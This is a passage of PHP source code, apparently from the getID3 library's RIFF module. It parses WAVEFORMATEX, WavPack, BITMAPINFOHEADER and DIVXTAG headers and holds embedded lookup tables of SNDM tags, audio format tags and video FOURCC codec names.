		$WaveFormatEx_raw['nChannels']       = substr($WaveFormatExData,  2, 2);
		$WaveFormatEx_raw['nSamplesPerSec']  = substr($WaveFormatExData,  4, 4);
		$WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData,  8, 4);
		$WaveFormatEx_raw['nBlockAlign']     = substr($WaveFormatExData, 12, 2);
		$WaveFormatEx_raw['wBitsPerSample']  = substr($WaveFormatExData, 14, 2);
		if (strlen($WaveFormatExData) > 16) {
			$WaveFormatEx_raw['cbSize']      = substr($WaveFormatExData, 16, 2);
		}
		$WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw);

		$WaveFormatEx['codec']           = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']);
		$WaveFormatEx['channels']        = $WaveFormatEx_raw['nChannels'];
		$WaveFormatEx['sample_rate']     = $WaveFormatEx_raw['nSamplesPerSec'];
		$WaveFormatEx['bitrate']         = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8;
		$WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample'];

		return $WaveFormatEx;
	}

	/**
	 * @param string $WavPackChunkData
	 *
	 * @return bool
	 */
	public function parseWavPackHeader($WavPackChunkData) {
		// typedef struct {
		//     char ckID [4];
		//     long ckSize;
		//     short version;
		//     short bits;                // added for version 2.00
		//     short flags, shift;        // added for version 3.00
		//     long total_samples, crc, crc2;
		//     char extension [4], extra_bc, extras [3];
		// } WavpackHeader;

		// shortcut
		$info = &$this->getid3->info;
		$info['wavpack']  = array();
		$thisfile_wavpack = &$info['wavpack'];

		$thisfile_wavpack['version']           = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  0, 2));
		if ($thisfile_wavpack['version'] >= 2) {
			$thisfile_wavpack['bits']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  2, 2));
		}
		if ($thisfile_wavpack['version'] >= 3) {
			$thisfile_wavpack['flags_raw']     = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  4, 2));
			$thisfile_wavpack['shift']         = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  6, 2));
			$thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  8, 4));
			$thisfile_wavpack['crc1']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4));
			$thisfile_wavpack['crc2']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4));
			$thisfile_wavpack['extension']     =                              substr($WavPackChunkData, 20, 4);
			$thisfile_wavpack['extra_bc']      = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1));
			for ($i = 0; $i <= 2; $i++) {
				$thisfile_wavpack['extras'][]  = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1));
			}

			// shortcut
			$thisfile_wavpack['flags'] = array();
			$thisfile_wavpack_flags = &$thisfile_wavpack['flags'];

			$thisfile_wavpack_flags['mono']                 = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001);
			$thisfile_wavpack_flags['fast_mode']            = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002);
			$thisfile_wavpack_flags['raw_mode']             = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004);
			$thisfile_wavpack_flags['calc_noise']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008);
			$thisfile_wavpack_flags['high_quality']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010);
			$thisfile_wavpack_flags['3_byte_samples']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020);
			$thisfile_wavpack_flags['over_20_bits']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040);
			$thisfile_wavpack_flags['use_wvc']              = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080);
			$thisfile_wavpack_flags['noiseshaping']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100);
			$thisfile_wavpack_flags['very_fast_mode']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200);
			$thisfile_wavpack_flags['new_high_quality']     = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400);
			$thisfile_wavpack_flags['cancel_extreme']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800);
			$thisfile_wavpack_flags['cross_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000);
			$thisfile_wavpack_flags['new_decorrelation']    = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000);
			$thisfile_wavpack_flags['joint_stereo']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000);
			$thisfile_wavpack_flags['extra_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000);
			$thisfile_wavpack_flags['override_noiseshape']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000);
			$thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000);
			$thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000);
			$thisfile_wavpack_flags['create_exe']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000);
		}

		return true;
	}

	/**
	 * @param string $BITMAPINFOHEADER
	 * @param bool   $littleEndian
	 *
	 * @return array
	 */
	public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) {

		$parsed                    = array();
		$parsed['biSize']          = substr($BITMAPINFOHEADER,  0, 4); // number of bytes required by the BITMAPINFOHEADER structure
		$parsed['biWidth']         = substr($BITMAPINFOHEADER,  4, 4); // width of the bitmap in pixels
		$parsed['biHeight']        = substr($BITMAPINFOHEADER,  8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner
		$parsed['biPlanes']        = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1
		$parsed['biBitCount']      = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels
		$parsed['biSizeImage']     = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures)
		$parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device
		$parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device
		$parsed['biClrUsed']       = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression
		$parsed['biClrImportant']  = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important
		$parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed);

		$parsed['fourcc']          = substr($BITMAPINFOHEADER, 16, 4);  // compression identifier

		return $parsed;
	}

	/**
	 * @param string $DIVXTAG
	 * @param bool   $raw
	 *
	 * @return array
	 */
	public static function ParseDIVXTAG($DIVXTAG, $raw=false) {
		// structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/
		// source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip
		// 'Byte Layout:                   '1111111111111111
		// '32 for Movie - 1               '1111111111111111
		// '28 for Author - 6              '6666666666666666
		// '4  for year - 2                '6666666666662222
		// '3  for genre - 3               '7777777777777777
		// '48 for Comments - 7            '7777777777777777
		// '1  for Rating - 4              '7777777777777777
		// '5  for Future Additions - 0    '333400000DIVXTAG
		// '128 bytes total

		static $DIVXTAGgenre  = array(
			 0 => 'Action',
			 1 => 'Action/Adventure',
			 2 => 'Adventure',
			 3 => 'Adult',
			 4 => 'Anime',
			 5 => 'Cartoon',
			 6 => 'Claymation',
			 7 => 'Comedy',
			 8 => 'Commercial',
			 9 => 'Documentary',
			10 => 'Drama',
			11 => 'Home Video',
			12 => 'Horror',
			13 => 'Infomercial',
			14 => 'Interactive',
			15 => 'Mystery',
			16 => 'Music Video',
			17 => 'Other',
			18 => 'Religion',
			19 => 'Sci Fi',
			20 => 'Thriller',
			21 => 'Western',
		),
		$DIVXTAGrating = array(
			 0 => 'Unrated',
			 1 => 'G',
			 2 => 'PG',
			 3 => 'PG-13',
			 4 => 'R',
			 5 => 'NC-17',
		);

		$parsed              = array();
		$parsed['title']     =        trim(substr($DIVXTAG,   0, 32));
		$parsed['artist']    =        trim(substr($DIVXTAG,  32, 28));
		$parsed['year']      = intval(trim(substr($DIVXTAG,  60,  4)));
		$parsed['comment']   =        trim(substr($DIVXTAG,  64, 48));
		$parsed['genre_id']  = intval(trim(substr($DIVXTAG, 112,  3)));
		$parsed['rating_id'] =         ord(substr($DIVXTAG, 115,  1));
		//$parsed['padding'] =             substr($DIVXTAG, 116,  5);  // 5-byte null
		//$parsed['magic']   =             substr($DIVXTAG, 121,  7);  // "DIVXTAG"

		$parsed['genre']  = (isset($DIVXTAGgenre[$parsed['genre_id']])   ? $DIVXTAGgenre[$parsed['genre_id']]   : $parsed['genre_id']);
		$parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']);

		if (!$raw) {
			unset($parsed['genre_id'], $parsed['rating_id']);
			foreach ($parsed as $key => $value) {
				if (empty($value)) {
					unset($parsed[$key]);
				}
			}
		}

		foreach ($parsed as $tag => $value) {
			$parsed[$tag] = array($value);
		}

		return $parsed;
	}

	/**
	 * @param string $tagshortname
	 *
	 * @return string
	 */
	public static function waveSNDMtagLookup($tagshortname) {
		$begin = __LINE__;

		/** This is not a comment!

			©kwd	keywords
			©BPM	bpm
			©trt	tracktitle
			©des	description
			©gen	category
			©fin	featuredinstrument
			©LID	longid
			©bex	bwdescription
			©pub	publisher
			©cdt	cdtitle
			©alb	library
			©com	composer

		*/

		return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm');
	}

	/**
	 * @param int $wFormatTag
	 *
	 * @return string
	 */
	public static function wFormatTagLookup($wFormatTag) {

		$begin = __LINE__;

		/** This is not a comment!

			0x0000	Microsoft Unknown Wave Format
			0x0001	Pulse Code Modulation (PCM)
			0x0002	Microsoft ADPCM
			0x0003	IEEE Float
			0x0004	Compaq Computer VSELP
			0x0005	IBM CVSD
			0x0006	Microsoft A-Law
			0x0007	Microsoft mu-Law
			0x0008	Microsoft DTS
			0x0010	OKI ADPCM
			0x0011	Intel DVI/IMA ADPCM
			0x0012	Videologic MediaSpace ADPCM
			0x0013	Sierra Semiconductor ADPCM
			0x0014	Antex Electronics G.723 ADPCM
			0x0015	DSP Solutions DigiSTD
			0x0016	DSP Solutions DigiFIX
			0x0017	Dialogic OKI ADPCM
			0x0018	MediaVision ADPCM
			0x0019	Hewlett-Packard CU
			0x0020	Yamaha ADPCM
			0x0021	Speech Compression Sonarc
			0x0022	DSP Group TrueSpeech
			0x0023	Echo Speech EchoSC1
			0x0024	Audiofile AF36
			0x0025	Audio Processing Technology APTX
			0x0026	AudioFile AF10
			0x0027	Prosody 1612
			0x0028	LRC
			0x0030	Dolby AC2
			0x0031	Microsoft GSM 6.10
			0x0032	MSNAudio
			0x0033	Antex Electronics ADPCME
			0x0034	Control Resources VQLPC
			0x0035	DSP Solutions DigiREAL
			0x0036	DSP Solutions DigiADPCM
			0x0037	Control Resources CR10
			0x0038	Natural MicroSystems VBXADPCM
			0x0039	Crystal Semiconductor IMA ADPCM
			0x003A	EchoSC3
			0x003B	Rockwell ADPCM
			0x003C	Rockwell Digit LK
			0x003D	Xebec
			0x0040	Antex Electronics G.721 ADPCM
			0x0041	G.728 CELP
			0x0042	MSG723
			0x0050	MPEG Layer-2 or Layer-1
			0x0052	RT24
			0x0053	PAC
			0x0055	MPEG Layer-3
			0x0059	Lucent G.723
			0x0060	Cirrus
			0x0061	ESPCM
			0x0062	Voxware
			0x0063	Canopus Atrac
			0x0064	G.726 ADPCM
			0x0065	G.722 ADPCM
			0x0066	DSAT
			0x0067	DSAT Display
			0x0069	Voxware Byte Aligned
			0x0070	Voxware AC8
			0x0071	Voxware AC10
			0x0072	Voxware AC16
			0x0073	Voxware AC20
			0x0074	Voxware MetaVoice
			0x0075	Voxware MetaSound
			0x0076	Voxware RT29HW
			0x0077	Voxware VR12
			0x0078	Voxware VR18
			0x0079	Voxware TQ40
			0x0080	Softsound
			0x0081	Voxware TQ60
			0x0082	MSRT24
			0x0083	G.729A
			0x0084	MVI MV12
			0x0085	DF G.726
			0x0086	DF GSM610
			0x0088	ISIAudio
			0x0089	Onlive
			0x0091	SBC24
			0x0092	Dolby AC3 SPDIF
			0x0093	MediaSonic G.723
			0x0094	Aculab PLC    Prosody 8kbps
			0x0097	ZyXEL ADPCM
			0x0098	Philips LPCBB
			0x0099	Packed
			0x00FF	AAC
			0x0100	Rhetorex ADPCM
			0x0101	IBM mu-law
			0x0102	IBM A-law
			0x0103	IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM)
			0x0111	Vivo G.723
			0x0112	Vivo Siren
			0x0123	Digital G.723
			0x0125	Sanyo LD ADPCM
			0x0130	Sipro Lab Telecom ACELP NET
			0x0131	Sipro Lab Telecom ACELP 4800
			0x0132	Sipro Lab Telecom ACELP 8V3
			0x0133	Sipro Lab Telecom G.729
			0x0134	Sipro Lab Telecom G.729A
			0x0135	Sipro Lab Telecom Kelvin
			0x0140	Windows Media Video V8
			0x0150	Qualcomm PureVoice
			0x0151	Qualcomm HalfRate
			0x0155	Ring Zero Systems TUB GSM
			0x0160	Microsoft Audio 1
			0x0161	Windows Media Audio V7 / V8 / V9
			0x0162	Windows Media Audio Professional V9
			0x0163	Windows Media Audio Lossless V9
			0x0200	Creative Labs ADPCM
			0x0202	Creative Labs Fastspeech8
			0x0203	Creative Labs Fastspeech10
			0x0210	UHER Informatic GmbH ADPCM
			0x0220	Quarterdeck
			0x0230	I-link Worldwide VC
			0x0240	Aureal RAW Sport
			0x0250	Interactive Products HSX
			0x0251	Interactive Products RPELP
			0x0260	Consistent Software CS2
			0x0270	Sony SCX
			0x0300	Fujitsu FM Towns Snd
			0x0400	BTV Digital
			0x0401	Intel Music Coder
			0x0450	QDesign Music
			0x0680	VME VMPCM
			0x0681	AT&T Labs TPC
			0x08AE	ClearJump LiteWave
			0x1000	Olivetti GSM
			0x1001	Olivetti ADPCM
			0x1002	Olivetti CELP
			0x1003	Olivetti SBC
			0x1004	Olivetti OPR
			0x1100	Lernout & Hauspie Codec (0x1100)
			0x1101	Lernout & Hauspie CELP Codec (0x1101)
			0x1102	Lernout & Hauspie SBC Codec (0x1102)
			0x1103	Lernout & Hauspie SBC Codec (0x1103)
			0x1104	Lernout & Hauspie SBC Codec (0x1104)
			0x1400	Norris
			0x1401	AT&T ISIAudio
			0x1500	Soundspace Music Compression
			0x181C	VoxWare RT24 Speech
			0x1FC4	NCT Soft ALF2CD (www.nctsoft.com)
			0x2000	Dolby AC3
			0x2001	Dolby DTS
			0x2002	WAVE_FORMAT_14_4
			0x2003	WAVE_FORMAT_28_8
			0x2004	WAVE_FORMAT_COOK
			0x2005	WAVE_FORMAT_DNET
			0x674F	Ogg Vorbis 1
			0x6750	Ogg Vorbis 2
			0x6751	Ogg Vorbis 3
			0x676F	Ogg Vorbis 1+
			0x6770	Ogg Vorbis 2+
			0x6771	Ogg Vorbis 3+
			0x7A21	GSM-AMR (CBR, no SID)
			0x7A22	GSM-AMR (VBR, including SID)
			0xFFFE	WAVE_FORMAT_EXTENSIBLE
			0xFFFF	WAVE_FORMAT_DEVELOPMENT

		*/

		return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag');
	}

	/**
	 * @param string $fourcc
	 *
	 * @return string
	 */
	public static function fourccLookup($fourcc) {

		$begin = __LINE__;

		/** This is not a comment!

			swot	http://developer.apple.com/qa/snd/snd07.html
			____	No Codec (____)
			_BIT	BI_BITFIELDS (Raw RGB)
			_JPG	JPEG compressed
			_PNG	PNG compressed W3C/ISO/IEC (RFC-2083)
			_RAW	Full Frames (Uncompressed)
			_RGB	Raw RGB Bitmap
			_RL4	RLE 4bpp RGB
			_RL8	RLE 8bpp RGB
			3IV1	3ivx MPEG-4 v1
			3IV2	3ivx MPEG-4 v2
			3IVX	3ivx MPEG-4
			AASC	Autodesk Animator
			ABYR	Kensington ?ABYR?
			AEMI	Array Microsystems VideoONE MPEG1-I Capture
			AFLC	Autodesk Animator FLC
			AFLI	Autodesk Animator FLI
			AMPG	Array Microsystems VideoONE MPEG
			ANIM	Intel RDX (ANIM)
			AP41	AngelPotion Definitive
			ASV1	Asus Video v1
			ASV2	Asus Video v2
			ASVX	Asus Video 2.0 (audio)
			AUR2	AuraVision Aura 2 Codec - YUV 4:2:2
			AURA	AuraVision Aura 1 Codec - YUV 4:1:1
			AVDJ	Independent JPEG Group\'s codec (AVDJ)
			AVRN	Independent JPEG Group\'s codec (AVRN)
			AYUV	4:4:4 YUV (AYUV)
			AZPR	Quicktime Apple Video (AZPR)
			BGR 	Raw RGB32
			BLZ0	Blizzard DivX MPEG-4
			BTVC	Conexant Composite Video
			BINK	RAD Game Tools Bink Video
			BT20	Conexant Prosumer Video
			BTCV	Conexant Composite Video Codec
			BW10	Data Translation Broadway MPEG Capture
			CC12	Intel YUV12
			CDVC	Canopus DV
			CFCC	Digital Processing Systems DPS Perception
			CGDI	Microsoft Office 97 Camcorder Video
			CHAM	Winnov Caviara Champagne
			CJPG	Creative WebCam JPEG
			CLJR	Cirrus Logic YUV 4:1:1
			CMYK	Common Data Format in Printing (Colorgraph)
			CPLA	Weitek 4:2:0 YUV Planar
			CRAM	Microsoft Video 1 (CRAM)
			cvid	Radius Cinepak
			CVID	Radius Cinepak
			CWLT	Microsoft Color WLT DIB
			CYUV	Creative Labs YUV
			CYUY	ATI YUV
			D261	H.261
			D263	H.263
			DIB 	Device Independent Bitmap
			DIV1	FFmpeg OpenDivX
			DIV2	Microsoft MPEG-4 v1/v2
			DIV3	DivX ;-) MPEG-4 v3.x Low-Motion
			DIV4	DivX ;-) MPEG-4 v3.x Fast-Motion
			DIV5	DivX MPEG-4 v5.x
			DIV6	DivX ;-) (MS MPEG-4 v3.x)
			DIVX	DivX MPEG-4 v4 (OpenDivX / Project Mayo)
			divx	DivX MPEG-4
			DMB1	Matrox Rainbow Runner hardware MJPEG
			DMB2	Paradigm MJPEG
			DSVD	?DSVD?
			DUCK	Duck TrueMotion 1.0
			DPS0	DPS/Leitch Reality Motion JPEG
			DPSC	DPS/Leitch PAR Motion JPEG
			DV25	Matrox DVCPRO codec
			DV50	Matrox DVCPRO50 codec
			DVC 	IEC 61834 and SMPTE 314M (DVC/DV Video)
			DVCP	IEC 61834 and SMPTE 314M (DVC/DV Video)
			DVHD	IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps
			DVMA	Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com)
			DVSL	IEC Standard DV compressed in SD (SDL)
			DVAN	?DVAN?
			DVE2	InSoft DVE-2 Videoconferencing
			dvsd	IEC 61834 and SMPTE 314M DVC/DV Video
			DVSD	IEC 61834 and SMPTE 314M DVC/DV Video
			DVX1	Lucent DVX1000SP Video Decoder
			DVX2	Lucent DVX2000S Video Decoder
			DVX3	Lucent DVX3000S Video Decoder
			DX50	DivX v5
			DXT1	Microsoft DirectX Compressed Texture (DXT1)
			DXT2	Microsoft DirectX Compressed Texture (DXT2)
			DXT3	Microsoft DirectX Compressed Texture (DXT3)
			DXT4	Microsoft DirectX Compressed Texture (DXT4)
			DXT5	Microsoft DirectX Compressed Texture (DXT5)
			DXTC	Microsoft DirectX Compressed Texture (DXTC)
			DXTn	Microsoft DirectX Compressed Texture (DXTn)
			EM2V	Etymonix MPEG-2 I-frame (www.etymonix.com)
			EKQ0	Elsa ?EKQ0?
			ELK0	Elsa ?ELK0?
			ESCP	Eidos Escape
			ETV1	eTreppid Video ETV1
			ETV2	eTreppid Video ETV2
			ETVC	eTreppid Video ETVC
			FLIC	Autodesk FLI/FLC Animation
			FLV1	Sorenson Spark
			FLV4	On2 TrueMotion VP6
			FRWT	Darim Vision Forward Motion JPEG (www.darvision.com)
			FRWU	Darim Vision Forward Uncompressed (www.darvision.com)
			FLJP	D-Vision Field Encoded Motion JPEG
			FPS1	FRAPS v1
			FRWA	SoftLab-Nsk Forward Motion JPEG w/ alpha channel
			FRWD	SoftLab-Nsk Forward Motion JPEG
			FVF1	Iterated Systems Fractal Video Frame
			GLZW	Motion LZW (gabest@freemail.hu)
			GPEG	Motion JPEG (gabest@freemail.hu)
			GWLT	Microsoft Greyscale WLT DIB
			H260	Intel ITU H.260 Videoconferencing
			H261	Intel ITU H.261 Videoconferencing
			H262	Intel ITU H.262 Videoconferencing
			H263	Intel ITU H.263 Videoconferencing
			H264	Intel ITU H.264 Videoconferencing
			H265	Intel ITU H.265 Videoconferencing
			H266	Intel ITU H.266 Videoconferencing
			H267	Intel ITU H.267 Videoconferencing
			H268	Intel ITU H.268 Videoconferencing
			H269	Intel ITU H.269 Videoconferencing
			HFYU	Huffman Lossless Codec
			HMCR	Rendition Motion Compensation Format (HMCR)
			HMRR	Rendition Motion Compensation Format (HMRR)
			I263	FFmpeg I263 decoder
			IF09	Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane")
			IUYV	Interlaced version of UYVY (www.leadtools.com)
			IY41	Interlaced version of Y41P (www.leadtools.com)
			IYU1	12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
			IYU2	24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
			IYUV	Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes)
			i263	Intel ITU H.263 Videoconferencing (i263)
			I420	Intel Indeo 4
			IAN 	Intel Indeo 4 (RDX)
			ICLB	InSoft CellB Videoconferencing
			IGOR	Power DVD
			IJPG	Intergraph JPEG
			ILVC	Intel Layered Video
			ILVR	ITU-T H.263+
			IPDV	I-O Data Device Giga AVI DV Codec
			IR21	Intel Indeo 2.1
			IRAW	Intel YUV Uncompressed
			IV30	Intel Indeo 3.0
			IV31	Intel Indeo 3.1
			IV32	Ligos Indeo 3.2
			IV33	Ligos Indeo 3.3
			IV34	Ligos Indeo 3.4
			IV35	Ligos Indeo 3.5
			IV36	Ligos Indeo 3.6
			IV37	Ligos Indeo 3.7
			IV38	Ligos Indeo 3.8
			IV39	Ligos Indeo 3.9
			IV40	Ligos Indeo Interactive 4.0
			IV41	Ligos Indeo Interactive 4.1
			IV42	Ligos Indeo Interactive 4.2
			IV43	Ligos Indeo Interactive 4.3
			IV44	Ligos Indeo Interactive 4.4
			IV45	Ligos Indeo Interactive 4.5
			IV46	Ligos Indeo Interactive 4.6
			IV47	Ligos Indeo Interactive 4.7
			IV48	Ligos Indeo Interactive 4.8
			IV49	Ligos Indeo Interactive 4.9
			IV50	Ligos Indeo Interactive 5.0
			JBYR	Kensington ?JBYR?
			JPEG	Still Image JPEG DIB
			JPGL	Pegasus Lossless Motion JPEG
			KMVC	Team17 Software Karl Morton\'s Video Codec
			LSVM	Vianet Lighting Strike Vmail (Streaming) (www.vianet.com)
			LEAD	LEAD Video Codec
			Ljpg	LEAD MJPEG Codec
			MDVD	Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de)
			MJPA	Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com)
			MJPB	Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com)
			MMES	Matrox MPEG-2 I-frame
			MP2v	Microsoft S-Mpeg 4 version 1 (MP2v)
			MP42	Microsoft S-Mpeg 4 version 2 (MP42)
			MP43	Microsoft S-Mpeg 4 version 3 (MP43)
			MP4S	Microsoft S-Mpeg 4 version 3 (MP4S)
			MP4V	FFmpeg MPEG-4
			MPG1	FFmpeg MPEG 1/2
			MPG2	FFmpeg MPEG 1/2
			MPG3	FFmpeg DivX ;-) (MS MPEG-4 v3)
			MPG4	Microsoft MPEG-4
			MPGI	Sigma Designs MPEG
			MPNG	PNG images decoder
			MSS1	Microsoft Windows Screen Video
			MSZH	LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
			M261	Microsoft H.261
			M263	Microsoft H.263
			M4S2	Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2)
			m4s2	Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2)
			MC12	ATI Motion Compensation Format (MC12)
			MCAM	ATI Motion Compensation Format (MCAM)
			MJ2C	Morgan Multimedia Motion JPEG2000
			mJPG	IBM Motion JPEG w/ Huffman Tables
			MJPG	Microsoft Motion JPEG DIB
			MP42	Microsoft MPEG-4 (low-motion)
			MP43	Microsoft MPEG-4 (fast-motion)
			MP4S	Microsoft MPEG-4 (MP4S)
			mp4s	Microsoft MPEG-4 (mp4s)
			MPEG	Chromatic Research MPEG-1 Video I-Frame
			MPG4	Microsoft MPEG-4 Video High Speed Compressor
			MPGI	Sigma Designs MPEG
			MRCA	FAST Multimedia Martin Regen Codec
			MRLE	Microsoft Run Length Encoding
			MSVC	Microsoft Video 1
			MTX1	Matrox ?MTX1?
			MTX2	Matrox ?MTX2?
			MTX3	Matrox ?MTX3?
			MTX4	Matrox ?MTX4?
			MTX5	Matrox ?MTX5?
			MTX6	Matrox ?MTX6?
			MTX7	Matrox ?MTX7?
			MTX8	Matrox ?MTX8?
			MTX9	Matrox ?MTX9?
			MV12	Motion Pixels Codec (old)
			MWV1	Aware Motion Wavelets
			nAVI	SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm)
			NT00	NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com)
			NUV1	NuppelVideo
			NTN1	Nogatech Video Compression 1
			NVS0	nVidia GeForce Texture (NVS0)
			NVS1	nVidia GeForce Texture (NVS1)
			NVS2	nVidia GeForce Texture (NVS2)
			NVS3	nVidia GeForce Texture (NVS3)
			NVS4	nVidia GeForce Texture (NVS4)
			NVS5	nVidia GeForce Texture (NVS5)
			NVT0	nVidia GeForce Texture (NVT0)
			NVT1	nVidia GeForce Texture (NVT1)
			NVT2	nVidia GeForce Texture (NVT2)
			NVT3	nVidia GeForce Texture (NVT3)
			NVT4	nVidia GeForce Texture (NVT4)
			NVT5	nVidia GeForce Texture (NVT5)
			PIXL	MiroXL, Pinnacle PCTV
			PDVC	I-O Data Device Digital Video Capture DV codec
			PGVV	Radius Video Vision
			PHMO	IBM Photomotion
			PIM1	MPEG Realtime (Pinnacle Cards)
			PIM2	Pegasus Imaging ?PIM2?
			PIMJ	Pegasus Imaging Lossless JPEG
			PVEZ	Horizons Technology PowerEZ
			PVMM	PacketVideo Corporation MPEG-4
			PVW2	Pegasus Imaging Wavelet Compression
			Q1.0	Q-Team\'s QPEG 1.0 (www.q-team.de)
			Q1.1	Q-Team\'s QPEG 1.1 (www.q-team.de)
			QPEG	Q-Team QPEG 1.0
			qpeq	Q-Team QPEG 1.1
			RGB 	Raw BGR32
			RGBA	Raw RGB w/ Alpha
			RMP4	REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com)
			ROQV	Id RoQ File Video Decoder
			RPZA	Quicktime Apple Video (RPZA)
			RUD0	Rududu video codec (http://rududu.ifrance.com/rududu/)
			RV10	RealVideo 1.0 (aka RealVideo 5.0)
			RV13	RealVideo 1.0 (RV13)
			RV20	RealVideo G2
			RV30	RealVideo 8
			RV40	RealVideo 9
			RGBT	Raw RGB w/ Transparency
			RLE 	Microsoft Run Length Encoder
			RLE4	Run Length Encoded (4bpp, 16-color)
			RLE8	Run Length Encoded (8bpp, 256-color)
			RT21	Intel Indeo RealTime Video 2.1
			rv20	RealVideo G2
			rv30	RealVideo 8
			RVX 	Intel RDX (RVX )
			SMC 	Apple Graphics (SMC )
			SP54	Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2
			SPIG	Radius Spigot
			SVQ3	Sorenson Video 3 (Apple Quicktime 5)
			s422	Tekram VideoCap C210 YUV 4:2:2
			SDCC	Sun Communication Digital Camera Codec
			SFMC	CrystalNet Surface Fitting Method
			SMSC	Radius SMSC
			SMSD	Radius SMSD
			smsv	WorldConnect Wavelet Video
			SPIG	Radius Spigot
			SPLC	Splash Studios ACM Audio Codec (www.splashstudios.net)
			SQZ2	Microsoft VXTreme Video Codec V2
			STVA	ST Microelectronics CMOS Imager Data (Bayer)
			STVB	ST Microelectronics CMOS Imager Data (Nudged Bayer)
			STVC	ST Microelectronics CMOS Imager Data (Bunched)
			STVX	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format)
			STVY	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data)
			SV10	Sorenson Video R1
			SVQ1	Sorenson Video
			T420	Toshiba YUV 4:2:0
			TM2A	Duck TrueMotion Archiver 2.0 (www.duck.com)
			TVJP	Pinnacle/Truevision Targa 2000 board (TVJP)
			TVMJ	Pinnacle/Truevision Targa 2000 board (TVMJ)
			TY0N	Tecomac Low-Bit Rate Codec (www.tecomac.com)
			TY2C	Trident Decompression Driver
			TLMS	TeraLogic Motion Intraframe Codec (TLMS)
			TLST	TeraLogic Motion Intraframe Codec (TLST)
			TM20	Duck TrueMotion 2.0
			TM2X	Duck TrueMotion 2X
			TMIC	TeraLogic Motion Intraframe Codec (TMIC)
			TMOT	Horizons Technology TrueMotion S
			tmot	Horizons TrueMotion Video Compression
